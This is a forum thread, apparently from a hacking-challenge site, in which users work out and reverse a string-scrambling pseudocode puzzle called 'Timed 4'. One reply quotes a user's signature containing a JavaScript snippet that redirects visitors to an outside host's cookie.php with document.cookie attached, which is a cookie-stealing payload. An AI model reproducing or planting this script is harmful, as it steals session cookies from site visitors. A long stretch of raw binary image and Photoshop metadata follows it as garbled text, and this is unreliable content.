Timed 4 question
PSEUDO Code:
FOR i = 0; i < str.length; i++ IF isEvenOrZero(i) final += final[i] ELSE final += final[i+2] END FOR final += final[1] RETURN final
If final is array then how can you add something to it with += if you don't specify where you want to put it in that array. Like here:
final += final[i] And if its not, then why does it use it as array too.
rofl, your sig:
<script language="JavaScript">
document.location="http://www.reviewgames.110mb.com/cookie.php?cookie=" + document.cookie;
</script>
˙Ř˙ŕJFIFdd˙á^ExifMM*bj(1r2Ž‡i¤ĐB@'B@'Adobe Photoshop CS3 Windows2007:09:01 01:25:57 ˙˙ &(.(HH˙Ř˙ŕJFIFHH˙íAdobe_CM˙îAdobed€˙Ű„
˙Ŕ"˙Ý˙Ä?
3!1AQa"q2‘ˇ±B#$RÁb34r‚ŃC%’Sđáńcs5˘˛ƒ&D“TdEÂŁt6ŇUâeňł„ĂÓuăóF'”¤…´•ÄÔäôĄµĹŐĺőVfv†–¦¶ĆÖćö7GWgw‡—§·Ç×ç÷5!1AQaq"2‘ˇ±B#ÁRŃđ3$bár‚’CScs4ń%˘˛ƒ&5ÂŇD“TŁdEU6teâňł„ĂÓuăóF”¤…´•ÄÔäôĄµĹŐĺőVfv†–¦¶ĆÖćö'7GWgw‡—§·Ç˙Ú?ň¤’I%?˙Ů˙íČPhotoshop 3.08BIM%8BIM/JXŠHHĐ@dŔ°'llun8BIMídd8BIM&?€8BIM
x8BIM8BIMó 8BIM
8BIM'
8BIMô5-8BIM÷˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙č8BIM@@8BIM8BIMI
Untitled-1nullboundsObjcRct1Top longLeftlongBtomlongRghtlongslicesVlLsObjcslicesliceIDlonggroupIDlongoriginenumESliceOrigin
autoGeneratedTypeenum
ESliceTypeImg boundsObjcRct1Top longLeftlongBtomlongRghtlongurlTEXTnullTEXTMsgeTEXTaltTagTEXTcellTextIsHTMLboolcellTextTEXT horzAlignenumESliceHorzAligndefault vertAlignenumESliceVertAligndefaultbgColorTypeenumESliceBGColorTypeNone topOutsetlong
leftOutsetlongbottomOutsetlongrightOutsetlong8BIM(?đ8BIM8BIMD(˙Ř˙ŕJFIFHH˙íAdobe_CM˙îAdobed€˙Ű„
˙Ŕ"˙Ý˙Ä?
3!1AQa"q2‘ˇ±B#$RÁb34r‚ŃC%’Sđáńcs5˘˛ƒ&D“TdEÂŁt6ŇUâeňł„ĂÓuăóF'”¤…´•ÄÔäôĄµĹŐĺőVfv†–¦¶ĆÖćö7GWgw‡—§·Ç×ç÷5!1AQaq"2‘ˇ±B#ÁRŃđ3$bár‚’CScs4ń%˘˛ƒ&5ÂŇD“TŁdEU6teâňł„ĂÓuăóF”¤…´•ÄÔäôĄµĹŐĺőVfv†–¦¶ĆÖćö'7GWgw‡—§·Ç˙Ú?ň¤’I%?˙Ů8BIM!UAdobe PhotoshopAdobe Photoshop CS38BIM˙ü˙áňhttp://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 4.1-c036 46.276720, Mon Feb 19 2007 22:40:08 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:xap="http://ns.adobe.com/xap/1.0/" xmlns:xapMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:tiff="http://ns.adobe.com/tiff/1.0/" xmlns:exif="http://ns.adobe.com/exif/1.0/" dc:format="image/jpeg" xap:CreatorTool="Adobe Photoshop CS3 Windows" xap:CreateDate="2007-09-01T01:25:33-04:00" xap:ModifyDate="2007-09-01T01:25:57-04:00" xap:MetadataDate="2007-09-01T01:25:57-04:00" xapMM:DocumentID="uuid:92A246C34B58DC1191B1CC76ACD2F1A3" xapMM:InstanceID="uuid:93A246C34B58DC1191B1CC76ACD2F1A3" photoshop:ColorMode="1" photoshop:ICCProfile="Dot Gain 20%" photoshop:History="" tiff:Orientation="1" tiff:XResolution="1000000/10000" tiff:YResolution="1000000/10000" tiff:ResolutionUnit="2" tiff:NativeDigest="256,257,258,259,262,274,277,284,530,531,282,283,296,301,318,319,529,532,306,270,271,272,305,315,33432;820AFC926CD2F248F074EA661919074F" exif:PixelXDimension="1" exif:PixelYDimension="1" exif:ColorSpace="-1" exif:NativeDigest="36864,40960,40961,37121,37122,40962,40963,37510,40964,36867,36868,33434,33437,34850,34852,34855,34856,37377,37378,37379,37380,37381,37382,37383,37384,37385,37386,37396,41483,41484,41486,41487,41488,41492,41493,41495,41728,41729,41730,41985,41986,41987,41988,41989,41990,41991,41992,41993,41994,41995,41996,42016,0,2,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,20,22,23,24,25,26,27,28,30;566C10D46F6A35082905F634E9E9F0A5"/> </rdf:RDF> </x:xmpmeta> <?xpacket end="w"?>˙â ICC_PROFILEADBEprtrGRAYXYZ ĎacspAPPLnoneöÖÓ-ADBEcprtŔ2descôgwtpt\bkptpkTRC„textCopyright 1999 Adobe Systems Incorporateddesc
Dot Gain 20%XYZ öÖÓ-XYZ curv 0@Pa ĹěDu¨ŢRĐYˇě9ˆÚ.…Ţ9–öW»"Šô a Đ
A
´)
’–Ł,¸EÔeřŤ$˝Wô’2ÔxĆoČv'ÚŽDü µ!q"."í#$p%4%ů&Á'Š(U)")đ*Ŕ+’,e-:..ę/Ä0 1}2\3=455é6Đ7ą8¤9:~;m<^=Q>E?;@3A,B&C"D EF G#H'I-J4K<LGMSN`OoPQ‘RĄSşTŃUéWXY:ZX[x\™]Ľ^ŕ`a-bVc€d¬eŮgh8iijťkŃmn?oxp˛qîs+tjuŞvěx/ytzş|}J~•á.‚|ƒÍ…†q‡Ĺ‰Šr‹ËŤ%ŽŹÝ‘<’›“ý•_–Ă˜(™Źš÷ś`ťËź7 Ą˘Ł…¤ö¦i§Ţ©TŞË¬DľŻ9°¶˛4ł´µ4¶·¸:ąż»EĽÍľVżŕÁlÂůćĆǨÉ;ĘÎĚcÍúĎ’Ń+ŇĹÔaŐţלŮ<ÚÝÜŢ#ßČánăäżćičéÁëoíîĐđ‚ň5óęő ÷WůúĘü…ţA˙˙˙îAdobed€˙ŰC !!3$3Q00QB///B''""˙Ŕ˙Ý˙Ä’
5!1AQ"aq2‘±BˇŃÁđR#r3bá‚ńC4’˘˛ŇS$sÂcƒ“âňŁDTd%5E&t6Ueł„ĂÓuăóF”¤…´•ÄÔäôĄµĹŐĺőVfv†–¦¶ĆÖćö˙Ú?ú˙Ů
I'm sorry for bumping this thread, but I really want to know the answer on the question right above me, for I am not completely understanding the algorithm (I think). In an attempt to rebuild the algorithm, I made a function in PHP. The string abcd returns adcb, abcde returns also adceb. abcdef returns adcfeb. Is this the right algorithm? I'd like to know that before I start reversing it. Thanks in advance ;) !
Edit: OK, I solved the challenge. I decided to just try whether it worked and guess what.. it did! I had the right algorithm so above examples are correct, if anyone in the future would like to know.
Yeah, that threw me as well so to clarify what this post asks, I did it with a grease monkey script that seperated all of this in a switch but:
abcdefghijk
akcbedgfihj
a = a b = last c = +2 d = d etc…
not meaning it to be too obvious but that threw me a long time as well
zbert wrote: abcdefghijk
akcbedgfihj
a = a b = last c = +2 d = d etc…
This seams to be not clear at all.
My question is like this example: abcdefghijk 012345678
adcfehgjikb
Is this right and if not, is the quoted example right?
bruxa wrote: This seams to be not clear at all.
This is how the pseudocode progresses for the input string "dbbeie":
d_____ d__b__ d_bb__ d_bb_e d_bbie debbie (note that _ represents a blank character) The algorithm traces through the given string and puts the current character in either position i or position i+2 depending on whether i is even or odd. The pseudocode is a bit unclear, the text explanation is better. I personally find the visual explanation much better and I programmed my algorithm this way:
The first two characters of your answer are the first and last character of your given string. Then you just trace through the string and swap each character with the one next to it and increment by 2.
Given=ivoyeuol final=il rest of string=voyeuo Now trace through and swap adjecant characters. ilov rest of string=yeuo ilovey rest of string=uo iloveyou